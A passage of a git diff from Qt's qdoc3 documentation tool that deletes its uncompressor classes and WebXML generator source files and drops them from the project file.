location, cmd, - QStringList() << filePath << outputFilePath ); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/polyuncompressor.h b/tools/qdoc3/polyuncompressor.h deleted file mode 100644 index e12f475..0000000 --- a/tools/qdoc3/polyuncompressor.h +++ /dev/null @@ -1,71 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - polyuncompressor.h -*/ - -#ifndef POLYUNCOMPRESSOR_H -#define POLYUNCOMPRESSOR_H - -#include "uncompressor.h" - -QT_BEGIN_NAMESPACE - -class PolyUncompressor : public Uncompressor -{ - public: - PolyUncompressor(const QStringList& extensions, - const QString& commandFormat); - ~PolyUncompressor(); - - virtual QString uncompressedFilePath(const QString& filePath); - virtual void uncompressFile(const Location& location, - const QString& filePath, - const QString& outputFilePath); - - private: - QString cmd; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index 9b76d97..77c95f8 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -24,9 +24,7 @@ build_all:!build_pass { } CONFIG -= app_bundle -HEADERS += apigenerator.h \ - archiveextractor.h \ - atom.h \ +HEADERS += atom.h \ ccodeparser.h \ codechunk.h \ codemarker.h \ @@ -46,19 +44,13 @@ HEADERS += apigenerator.h \ openedlist.h \ pagegenerator.h \ plaincodemarker.h \ - polyarchiveextractor.h \ - polyuncompressor.h \ quoter.h \ separator.h \ text.h \ tokenizer.h \ tr.h \ - tree.h \ - uncompressor.h \ - webxmlgenerator.h -SOURCES += apigenerator.cpp \ - archiveextractor.cpp \ - atom.cpp \ + tree.h +SOURCES += atom.cpp \ ccodeparser.cpp \ codechunk.cpp \ codemarker.cpp \ @@ -79,15 +71,11 @@ SOURCES += apigenerator.cpp \ openedlist.cpp \ pagegenerator.cpp \ plaincodemarker.cpp \ - polyarchiveextractor.cpp \ - polyuncompressor.cpp \ quoter.cpp \ separator.cpp \ text.cpp \ tokenizer.cpp \ tree.cpp \ - uncompressor.cpp \ - webxmlgenerator.cpp \ yyindent.cpp ### Documentation for qdoc3 ### diff --git a/tools/qdoc3/uncompressor.cpp b/tools/qdoc3/uncompressor.cpp deleted file mode 100644 index afb88e6..0000000 --- a/tools/qdoc3/uncompressor.cpp +++ /dev/null @@ -1,108 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - uncompressor.cpp -*/ - -#include "uncompressor.h" - -QT_BEGIN_NAMESPACE - -QList Uncompressor::uncompressors; - - -/*! - \class Uncompressor - - \brief The Uncompressor class is a base class for classes that - know how to uncompress a certain kind of compressed file. - - The uncompressor contains a list of the filename extensions - of the file types that the uncompressor knows how to uncompress. - - It maintains a static list of all the instances of Uncompressor - that have been created. It also has a static function for searching - that list to find the uncompressor to use for uncompressing a file - with a certain extension. - */ - -/*! - The constructor takes a list of filename extensions, which it - copies and saves internally. This uncompressor is prepended - to the stack list. - */ -Uncompressor::Uncompressor( const QStringList& extensions ) - : fileExts( extensions ) -{ - uncompressors.prepend( this ); -} - -/*! - The destructor deletes all the filename extensions. - */ -Uncompressor::~Uncompressor() -{ - uncompressors.removeAll( this ); -} - -/*! - This function searches the static list of uncompressors to find the - first one that can handle \a fileName. If it finds an acceptable - uncompressor, it returns a pointer to it. Otherwise it returns null. -*/ -Uncompressor* -Uncompressor::uncompressorForFileName( const QString& fileName ) -{ - int dot = -1; - while ( (dot = fileName.indexOf(".", dot + 1)) != -1 ) { - QString ext = fileName.mid( dot + 1 ); - QList::ConstIterator u = uncompressors.begin(); - while ( u != uncompressors.end() ) { - if ( (*u)->fileExtensions().contains(ext) ) - return *u; - ++u; - } - } - return 0; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/uncompressor.h b/tools/qdoc3/uncompressor.h deleted file mode 100644 index cae675f..0000000 --- a/tools/qdoc3/uncompressor.h +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - uncompressor.h -*/ - -#ifndef UNCOMPRESSOR_H -#define UNCOMPRESSOR_H - -#include - -#include "location.h" - -QT_BEGIN_NAMESPACE - -class Uncompressor -{ -public: - Uncompressor( const QStringList& extensions ); - virtual ~Uncompressor(); - - virtual QString uncompressedFilePath( const QString& filePath ) = 0; - virtual void uncompressFile( const Location& location, - const QString& filePath, - const QString& outputFilePath ) = 0; - - static Uncompressor *uncompressorForFileName( const QString& fileName ); - -protected: - const QStringList& fileExtensions() const { return fileExts; } - -private: - QStringList fileExts; - - static QList uncompressors; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/webxmlgenerator.cpp b/tools/qdoc3/webxmlgenerator.cpp deleted file mode 100644 index 6020b1b..0000000 --- a/tools/qdoc3/webxmlgenerator.cpp +++ /dev/null @@ -1,1195 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - webxmlgenerator.cpp -*/ - -#include "codemarker.h" -#include "pagegenerator.h" -#include "webxmlgenerator.h" -#include "node.h" -#include "separator.h" -#include "tree.h" - -#include - -QT_BEGIN_NAMESPACE - -#define COMMAND_VERSION Doc::alias("version") - -WebXMLGenerator::WebXMLGenerator() - : PageGenerator() -{ -} - -WebXMLGenerator::~WebXMLGenerator() -{ -} - -void WebXMLGenerator::initializeGenerator(const Config &config) -{ - Generator::initializeGenerator(config); - - project = config.getString(CONFIG_PROJECT); - - projectDescription = config.getString(CONFIG_DESCRIPTION); - if (projectDescription.isEmpty() && !project.isEmpty()) - projectDescription = project + " Reference Documentation"; - - projectUrl = config.getString(CONFIG_URL); - - generateIndex = config.getBool(CONFIG_GENERATEINDEX); -} - -void WebXMLGenerator::terminateGenerator() -{ - PageGenerator::terminateGenerator(); -} - -QString WebXMLGenerator::format() -{ - return "WebXML"; -} - -QString WebXMLGenerator::fileExtension(const Node * /* node */) const -{ - return "xml"; -} - -void WebXMLGenerator::generateTree(const Tree *tree, CodeMarker *marker) -{ - tre = tree; - moduleClassMap.clear(); - moduleNamespaceMap.clear(); - serviceClasses.clear(); - findAllClasses(tree->root()); - findAllNamespaces(tree->root()); - - PageGenerator::generateTree(tree, marker); - - if (generateIndex) - tre->generateIndex(outputDir() + "/" + project.toLower() + ".index", - projectUrl, projectDescription, false); -} - -void WebXMLGenerator::startText(const Node *relative, CodeMarker *marker) -{ - inLink = false; - inContents = false; - inSectionHeading = false; - numTableRows = 0; - sectionNumber.clear(); - PageGenerator::startText(relative, marker); -} - -int WebXMLGenerator::generateAtom(QXmlStreamWriter &writer, const Atom *atom, - const Node *relative, CodeMarker *marker) -{ - Q_UNUSED(writer); - - int skipAhead = 0; - - switch (atom->type()) { - default: - PageGenerator::generateAtom(atom, relative, marker); - } - return skipAhead; -} - -void WebXMLGenerator::generateClassLikeNode(const InnerNode *inner, - CodeMarker *marker) -{ - QByteArray data; - QXmlStreamWriter writer(&data); - writer.setAutoFormatting(true); - writer.writeStartDocument(); - writer.writeStartElement("WebXML"); - writer.writeStartElement("document"); - - generateIndexSections(writer, inner, marker); - - writer.writeEndElement(); // document - writer.writeEndElement(); // WebXML - writer.writeEndDocument(); - - out() << data; - out().flush(); -} - -void WebXMLGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) -{ - QByteArray data; - QXmlStreamWriter writer(&data); - writer.setAutoFormatting(true); - writer.writeStartDocument(); - writer.writeStartElement("WebXML"); - writer.writeStartElement("document"); - - generateIndexSections(writer, fake, marker); - - writer.writeEndElement(); // document - writer.writeEndElement(); // WebXML - writer.writeEndDocument(); - - out() << data; - out().flush(); -} - -void WebXMLGenerator::generateIndexSections(QXmlStreamWriter &writer, - const Node *node, CodeMarker *marker) -{ - if (tre->generateIndexSection(writer, node, true)) { - - // Add documentation to this node if it exists. - writer.writeStartElement("description"); - writer.writeAttribute("path", node->doc().location().filePath()); - writer.writeAttribute("line", QString::number(node->doc().location().lineNo())); - writer.writeAttribute("column", QString::number(node->doc().location().columnNo())); - - if (node->type() == Node::Fake) { - - const FakeNode *fake = static_cast(node); - - generateRelations(writer, node, marker); - - if (fake->subType() == Node::Module) { - writer.writeStartElement("generatedlist"); - writer.writeAttribute("contents", "classesbymodule"); - - if (moduleNamespaceMap.contains(fake->name())) { - writer.writeStartElement("section"); - writer.writeStartElement("heading"); - writer.writeAttribute("level", "1"); - writer.writeCharacters("Namespaces"); - writer.writeEndElement(); // heading - generateAnnotatedList(writer, fake, marker, moduleNamespaceMap[fake->name()]); - writer.writeEndElement(); // section - } - if (moduleClassMap.contains(fake->name())) { - writer.writeStartElement("section"); - writer.writeStartElement("heading"); - writer.writeAttribute("level", "1"); - writer.writeCharacters("Classes"); - writer.writeEndElement(); // heading - generateAnnotatedList(writer, fake, marker, moduleClassMap[fake->name()]); - writer.writeEndElement(); // section - } - - writer.writeEndElement(); // generatedlist - } - } - - startText(node, marker); - - const Atom *atom = node->doc().body().firstAtom(); - while (atom) - atom = addAtomElements(writer, atom, node, marker); - - QList alsoList = node->doc().alsoList(); - supplementAlsoList(node, alsoList); - - if (!alsoList.isEmpty()) { - writer.writeStartElement("see-also"); - for (int i = 0; i < alsoList.size(); ++i) { - const Atom *atom = alsoList.at(i).firstAtom(); - while (atom) - atom = addAtomElements(writer, atom, node, marker); - } - writer.writeEndElement(); // see-also - } - - writer.writeEndElement(); // description - - if (node->isInnerNode()) { - const InnerNode *inner = static_cast(node); - - // Recurse to generate an element for this child node and all its children. - foreach (const Node *child, inner->childNodes()) - generateIndexSections(writer, child, marker); - - writer.writeStartElement("related"); - if (inner->relatedNodes().size() > 0) { - foreach (const Node *child, inner->relatedNodes()) - generateIndexSections(writer, child, marker); - } - writer.writeEndElement(); // related - } - writer.writeEndElement(); - } -} - -void WebXMLGenerator::generateInnerNode(const InnerNode *node, CodeMarker *marker) -{ - if (!node->url().isNull()) - return; - - if (node->type() == Node::Fake) { - const FakeNode *fakeNode = static_cast(node); - if (fakeNode->subType() == Node::ExternalPage) - return; - } - - if ( node->parent() != 0 ) { - beginSubPage( node->location(), fileName(node) ); - if ( node->type() == Node::Namespace || node->type() == Node::Class) { - generateClassLikeNode(node, marker); - } else if ( node->type() == Node::Fake ) { - generateFakeNode(static_cast(node), marker); - } - endSubPage(); - } - - NodeList::ConstIterator c = node->childNodes().begin(); - while ( c != node->childNodes().end() ) { - if ((*c)->isInnerNode() && ( - (*c)->access() != Node::Private || (*c)->status() == Node::Internal)) - generateInnerNode( (const InnerNode *) *c, marker ); - ++c; - } -} - -const Atom *WebXMLGenerator::addAtomElements(QXmlStreamWriter &writer, - const Atom *atom, const Node *relative, CodeMarker *marker) -{ - switch (atom->type()) { - case Atom::AbstractLeft: - case Atom::AbstractRight: - break; - case Atom::AutoLink: - if (!inLink && !inSectionHeading) { - const Node *node = findNode(atom, relative, marker); - if (node) { - startLink(writer, atom, node, relative); - if (inLink) { - writer.writeCharacters(atom->string()); - writer.writeEndElement(); // link - inLink = false; - } - } else - writer.writeCharacters(atom->string()); - } else - writer.writeCharacters(atom->string()); - break; - case Atom::BaseName: - break; - case Atom::BriefLeft: - - writer.writeStartElement("brief"); - switch (relative->type()) { - case Node::Property: - writer.writeCharacters("This property"); - break; - case Node::Variable: - writer.writeCharacters("This variable"); - break; - default: - break; - } - if (relative->type() == Node::Property || relative->type() == Node::Variable) { - QString str; - const Atom *a = atom->next(); - while (a != 0 && a->type() != Atom::BriefRight) { - if (a->type() == Atom::String || a->type() == Atom::AutoLink) - str += a->string(); - a = a->next(); - } - str[0] = str[0].toLower(); - if (str.right(1) == ".") - str.chop(1); - - QStringList words = str.split(" "); - if (!(words.first() == "contains" || words.first() == "specifies" - || words.first() == "describes" || words.first() == "defines" - || words.first() == "holds" || words.first() == "determines")) - writer.writeCharacters(" holds "); - else - writer.writeCharacters(" "); - } - break; - - case Atom::BriefRight: - if (relative->type() == Node::Property || relative->type() == Node::Variable) - writer.writeCharacters("."); - - writer.writeEndElement(); // brief - break; - - case Atom::C: - writer.writeStartElement("teletype"); - if (inLink) - writer.writeAttribute("type", "normal"); - else - writer.writeAttribute("type", "highlighted"); - - writer.writeCharacters(plainCode(atom->string())); - writer.writeEndElement(); // teletype - break; - - case Atom::Code: - writer.writeTextElement("code", trimmedTrailing(plainCode(atom->string()))); - break; - -#ifdef QDOC_QML - case Atom::Qml: - writer.writeTextElement("qml", trimmedTrailing(plainCode(atom->string()))); -#endif - - case Atom::CodeBad: - writer.writeTextElement("badcode", trimmedTrailing(plainCode(atom->string()))); - break; - - case Atom::CodeNew: - writer.writeTextElement("para", "you can rewrite it as"); - writer.writeTextElement("newcode", trimmedTrailing(plainCode(atom->string()))); - break; - - case Atom::CodeOld: - writer.writeTextElement("para", "For example, if you have code like"); - writer.writeTextElement("oldcode", trimmedTrailing(plainCode(atom->string()))); - break; - - case Atom::CodeQuoteArgument: - if (quoteCommand == "dots") { - writer.writeAttribute("indent", atom->string()); - writer.writeCharacters("..."); - } else - writer.writeCharacters(atom->string()); - writer.writeEndElement(); // code - break; - - case Atom::CodeQuoteCommand: - quoteCommand = atom->string(); - writer.writeStartElement(quoteCommand); - break; - - case Atom::FootnoteLeft: - writer.writeStartElement("footnote"); - break; - - case Atom::FootnoteRight: - writer.writeEndElement(); // footnote - break; -/* - case Atom::FormatElse: - writer.writeStartElement("else"); - writer.writeEndElement(); // else - break; -*/ - case Atom::FormatEndif: - writer.writeEndElement(); // raw - break; - case Atom::FormatIf: - writer.writeStartElement("raw"); - writer.writeAttribute("format", atom->string()); - break; - case Atom::FormattingLeft: - { - if (atom->string() == ATOM_FORMATTING_BOLD) - writer.writeStartElement("bold"); - else if (atom->string() == ATOM_FORMATTING_ITALIC) - writer.writeStartElement("italic"); - else if (atom->string() == ATOM_FORMATTING_UNDERLINE) - writer.writeStartElement("underline"); - else if (atom->string() == ATOM_FORMATTING_SUBSCRIPT) - writer.writeStartElement("subscript"); - else if (atom->string() == ATOM_FORMATTING_SUPERSCRIPT) - writer.writeStartElement("superscript"); - else if (atom->string() == ATOM_FORMATTING_TELETYPE) - writer.writeStartElement("teletype"); - else if (atom->string() == ATOM_FORMATTING_PARAMETER) - writer.writeStartElement("argument"); - else if (atom->string() == ATOM_FORMATTING_INDEX) - writer.writeStartElement("index"); - } - break; -/* out() << formattingLeftMap()[atom->string()]; - if ( atom->string() == ATOM_FORMATTING_PARAMETER ) { - if ( atom->next() != 0 && atom->next()->type() == Atom::String ) { - QRegExp subscriptRegExp( "([a-z]+)_([0-9n])" ); - if ( subscriptRegExp.exactMatch(atom->next()->string()) ) { - out() << subscriptRegExp.cap( 1 ) << "" - << subscriptRegExp.cap( 2 ) << ""; - skipAhead = 1; - } - } - }*/ - case Atom::FormattingRight: - { - if (atom->string() == ATOM_FORMATTING_BOLD) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_ITALIC) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_UNDERLINE) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_SUBSCRIPT) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_SUPERSCRIPT) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_TELETYPE) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_PARAMETER) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_INDEX) - writer.writeEndElement(); - } - if (inLink) { - writer.writeEndElement(); // link - inLink = false; - } - break; -/* if ( atom->string() == ATOM_FORMATTING_LINK ) { - if (inLink) { - if ( link.isEmpty() ) { - if (showBrokenLinks) - out() << ""; - } else { - out() << ""; - } - } - inLink = false; - } else { - out() << formattingRightMap()[atom->string()]; - }*/ - case Atom::GeneratedList: - writer.writeStartElement("generatedlist"); - writer.writeAttribute("contents", atom->string()); - writer.writeEndElement(); // generatedlist -/* - if (atom->string() == "annotatedclasses") { - generateAnnotatedList(relative, marker, nonCompatClasses); - } else if (atom->string() == "classes") { - generateCompactList(relative, marker, nonCompatClasses); - } else if (atom->string().contains("classesbymodule")) { - QString arg = atom->string().trimmed(); - QString moduleName = atom->string().mid(atom->string().indexOf( - "classesbymodule") + 15).trimmed(); - if (moduleClassMap.contains(moduleName)) - generateAnnotatedList(relative, marker, moduleClassMap[moduleName]); - } else if (atom->string().contains("classesbyedition")) { - QString arg = atom->string().trimmed(); - QString editionName = atom->string().mid(atom->string().indexOf( - "classesbyedition") + 16).trimmed(); - if (editionModuleMap.contains(editionName)) { - QMap editionClasses; - foreach (const QString &moduleName, editionModuleMap[editionName]) { - if (moduleClassMap.contains(moduleName)) - editionClasses.unite(moduleClassMap[moduleName]); - } - generateAnnotatedList(relative, marker, editionClasses); - } - } else if (atom->string() == "classhierarchy") { - generateClassHierarchy(relative, marker, nonCompatClasses); - } else if (atom->string() == "compatclasses") { - generateCompactList(relative, marker, compatClasses); - } else if (atom->string() == "functionindex") { - generateFunctionIndex(relative, marker); - } else if (atom->string() == "legalese") { - generateLegaleseList(relative, marker); - } else if (atom->string() == "mainclasses") { - generateCompactList(relative, marker, mainClasses); - } else if (atom->string() == "services") { - generateCompactList(relative, marker, serviceClasses); - } else if (atom->string() == "overviews") { - generateOverviewList(relative, marker); - } else if (atom->string() == "namespaces") { - generateAnnotatedList(relative, marker, namespaceIndex); - } else if (atom->string() == "related") { - const FakeNode *fake = static_cast(relative); - if (fake && !fake->groupMembers().isEmpty()) { - QMap groupMembersMap; - foreach (Node *node, fake->groupMembers()) { - if (node->type() == Node::Fake) - groupMembersMap[fullName(node, relative, marker)] = node; - } - generateAnnotatedList(fake, marker, groupMembersMap); - } - } else if (atom->string() == "relatedinline") { - const FakeNode *fake = static_cast(relative); - if (fake && !fake->groupMembers().isEmpty()) { - // Reverse the list into the original scan order. - // Should be sorted. But on what? It may not be a - // regular class or page definition. - QList list; - foreach (const Node *node, fake->groupMembers()) - list.prepend(node); - foreach (const Node *node, list) - generateBody(node, marker ); - } - } - break; -*/ - break; - case Atom::Image: - writer.writeStartElement("image"); - writer.writeAttribute("href", imageFileName(relative, atom->string())); - writer.writeEndElement(); // image - break; - - case Atom::InlineImage: - writer.writeStartElement("inlineimage"); - writer.writeAttribute("href", imageFileName(relative, atom->string())); - writer.writeEndElement(); // inlineimage - break; - - case Atom::ImageText: - break; - - case Atom::LegaleseLeft: - writer.writeStartElement("legalese"); - break; - - case Atom::LegaleseRight: - writer.writeEndElement(); // legalese - break; - - case Atom::Link: - case Atom::LinkNode: - if (!inLink) { - const Node *node = findNode(atom, relative, marker); - if (node) - startLink(writer, atom, node, relative); - } - break; - - case Atom::ListLeft: - writer.writeStartElement("list"); - - if (atom->string() == ATOM_LIST_BULLET) - writer.writeAttribute("type", "bullet"); - else if (atom->string() == ATOM_LIST_TAG) - writer.writeAttribute("type", "definition"); - else if (atom->string() == ATOM_LIST_VALUE) - writer.writeAttribute("type", "enum"); - else { - writer.writeAttribute("type", "ordered"); - if (atom->string() == ATOM_LIST_UPPERALPHA) - writer.writeAttribute("start", "A"); - else if (atom->string() == ATOM_LIST_LOWERALPHA) - writer.writeAttribute("start", "a"); - else if (atom->string() == ATOM_LIST_UPPERROMAN) - writer.writeAttribute("start", "I"); - else if (atom->string() == ATOM_LIST_LOWERROMAN) - writer.writeAttribute("start", "i"); - else // (atom->string() == ATOM_LIST_NUMERIC) - writer.writeAttribute("start", "1"); - } - break; - - case Atom::ListItemNumber: - break; - - case Atom::ListTagLeft: - { - writer.writeStartElement("definition"); - - writer.writeTextElement("term", plainCode( - marker->markedUpEnumValue(atom->next()->string(), relative))); - } - break; - - case Atom::ListTagRight: - writer.writeEndElement(); // definition - break; - - case Atom::ListItemLeft: - writer.writeStartElement("item"); - break; - - case Atom::ListItemRight: - writer.writeEndElement(); // item - break; - - case Atom::ListRight: - writer.writeEndElement(); // list - break; - - case Atom::Nop: - break; - - case Atom::ParaLeft: - writer.writeStartElement("para"); - break; - - case Atom::ParaRight: - writer.writeEndElement(); // para - break; - - case Atom::QuotationLeft: - writer.writeStartElement("quote"); - break; - - case Atom::QuotationRight: - writer.writeEndElement(); // quote - break; - - case Atom::RawString: - writer.writeCharacters(atom->string()); - break; - - case Atom::SectionLeft: - writer.writeStartElement("section"); - writer.writeAttribute("id", Doc::canonicalTitle(Text::sectionHeading(atom).toString())); - break; - - case Atom::SectionRight: - writer.writeEndElement(); // section - break; - - case Atom::SectionHeadingLeft: - writer.writeStartElement("heading"); - writer.writeAttribute("level", atom->string()); // + hOffset(relative) - inSectionHeading = true; - break; - - case Atom::SectionHeadingRight: - writer.writeEndElement(); // heading - inSectionHeading = false; - break; - - case Atom::SidebarLeft: - case Atom::SidebarRight: - break; - - case Atom::SnippetCommand: - writer.writeStartElement(atom->string()); - break; - - case Atom::SnippetIdentifier: - writer.writeAttribute("identifier", atom->string()); - writer.writeEndElement(); // snippet - break; - - case Atom::SnippetLocation: - writer.writeAttribute("location", atom->string()); - break; - - case Atom::String: - writer.writeCharacters(atom->string()); - break; - - case Atom::TableLeft: - writer.writeStartElement("table"); - if (atom->string().contains("%")) - writer.writeAttribute("width", atom->string()); - break; - - case Atom::TableRight: - writer.writeEndElement(); // table - break; - - case Atom::TableHeaderLeft: - writer.writeStartElement("header"); - break; - - case Atom::TableHeaderRight: - writer.writeEndElement(); // header - break; - - case Atom::TableRowLeft: - writer.writeStartElement("row"); - break; - - case Atom::TableRowRight: - writer.writeEndElement(); // row - break; - - case Atom::TableItemLeft: - { - writer.writeStartElement("item"); - QStringList spans = atom->string().split(","); - if (spans.size() == 2) { - if (spans.at(0) != "1") - writer.writeAttribute("colspan", spans.at(0).trimmed()); - if (spans.at(1) != "1") - writer.writeAttribute("rowspan", spans.at(1).trimmed()); - } - } - break; - - case Atom::TableItemRight: - writer.writeEndElement(); // item - break; - - case Atom::TableOfContents: - writer.writeStartElement("tableofcontents"); - writer.writeAttribute("details", atom->string()); - { - int numColumns = 1; - const Node *node = relative; - - Doc::SectioningUnit sectioningUnit = Doc::Section4; - QStringList params = atom->string().split(","); - QString columnText = params.at(0); - QStringList pieces = columnText.split(" ", QString::SkipEmptyParts); - if (pieces.size() >= 2) { - columnText = pieces.at(0); - pieces.pop_front(); - QString path = pieces.join(" ").trimmed(); - node = findNode(path, relative, marker); - if (node) - writer.writeAttribute("href", fileName(node)); - } - - if (params.size() == 2) { - numColumns = qMax(columnText.toInt(), numColumns); - sectioningUnit = (Doc::SectioningUnit)params.at(1).toInt(); - writer.writeAttribute("columns", QString::number(numColumns)); - writer.writeAttribute("unit", QString::number(sectioningUnit)); - } - - if (node) - generateTableOfContents(writer, node, sectioningUnit, numColumns, - relative); - } - writer.writeEndElement(); // tableofcontents - break; - - case Atom::Target: - writer.writeStartElement("target"); - writer.writeAttribute("name", Doc::canonicalTitle(atom->string())); - writer.writeEndElement(); // target - break; - - case Atom::UnhandledFormat: - case Atom::UnknownCommand: - writer.writeCharacters(atom->typeString()); - break; - default: - break; - } - - if (atom) - return atom->next(); - - return 0; -} -/* - QDomElement atomElement = document.createElement(atom->typeString().toLower()); - QDomText atomValue = document.createTextNode(atom->string()); - atomElement.appendChild(atomValue); - descriptionElement.appendChild(atomElement); -*/ - -/* - ### Warning: findNode() is a modified version of HtmlGenerator::getLink(). -*/ -const Node *WebXMLGenerator::findNode(const Atom *atom, const Node *relative, CodeMarker *marker) -{ - return findNode(atom->string(), relative, marker); -} - -const Node *WebXMLGenerator::findNode(const QString &title, const Node *relative, CodeMarker *marker) -{ - QString link; - if (title.contains(":") && - (title.startsWith("file:") - || title.startsWith("http:") - || title.startsWith("https:") - || title.startsWith("ftp:") - || title.startsWith("mailto:"))) { - - return 0; - } else if (title.count('@') == 1) { - return 0; - } else { - QStringList path; - if (title.contains('#')) { - path = title.split('#'); - } else { - path.append(title); - } - - const Node *node = 0; - Atom *targetAtom = 0; - - QString first = path.first().trimmed(); - if (first.isEmpty()) { - node = relative; - } else if (first.endsWith(".html")) { - node = tre->root()->findNode(first, Node::Fake); - } else { - node = marker->resolveTarget(first, tre, relative); - if (!node) - node = tre->findFakeNodeByTitle(first); - if (!node) - node = tre->findUnambiguousTarget(first, targetAtom); - } - - if (node) { - if (!node->url().isEmpty()) - return node; - else - path.removeFirst(); - } else { - return 0; - } - - while (!path.isEmpty()) { - targetAtom = tre->findTarget(path.first(), node); - if (targetAtom == 0) - break; - path.removeFirst(); - } -/* We would ideally treat targets as nodes to be consistent. - if (targetAtom && node && node->isInnerNode()) { - Node *parentNode = const_cast(node); - node = new TargetNode(static_cast(parentNode), first); - } -*/ - return node; - } - return 0; -} - -void WebXMLGenerator::startLink(QXmlStreamWriter &writer, const Atom *atom, - const Node *node, const Node *relative) -{ - QString location = tre->fullDocumentLocation(node); - if (!location.isEmpty()) { - writer.writeStartElement("link"); - writer.writeAttribute("raw", atom->string()); - if (atom->string().contains("#") || node == relative) { - QString target = atom->string().split("#").last(); - Atom *targetAtom = tre->findTarget(target, node); - if (targetAtom) - location += "#" + Doc::canonicalTitle(target); - } - writer.writeAttribute("href", location); - QString type = targetType(node); - writer.writeAttribute("type", type); - switch (node->type()) { - case Node::Enum: - writer.writeAttribute("enum", tre->fullDocumentName(node)); - break; - case Node::Fake: - writer.writeAttribute("page", tre->fullDocumentName(node)); - break; - case Node::Property: - { - const PropertyNode *propertyNode = static_cast(node); - if (propertyNode->getters().size() > 0) - writer.writeAttribute("getter", tre->fullDocumentName(propertyNode->getters()[0])); - } - default: - ; - } - inLink = true; - } -} - -QString WebXMLGenerator::targetType(const Node *node) -{ - switch (node->type()) { - case Node::Namespace: - return "namespace"; - break; - case Node::Class: - return "class"; - break; - case Node::Fake: - return "page"; - break; - case 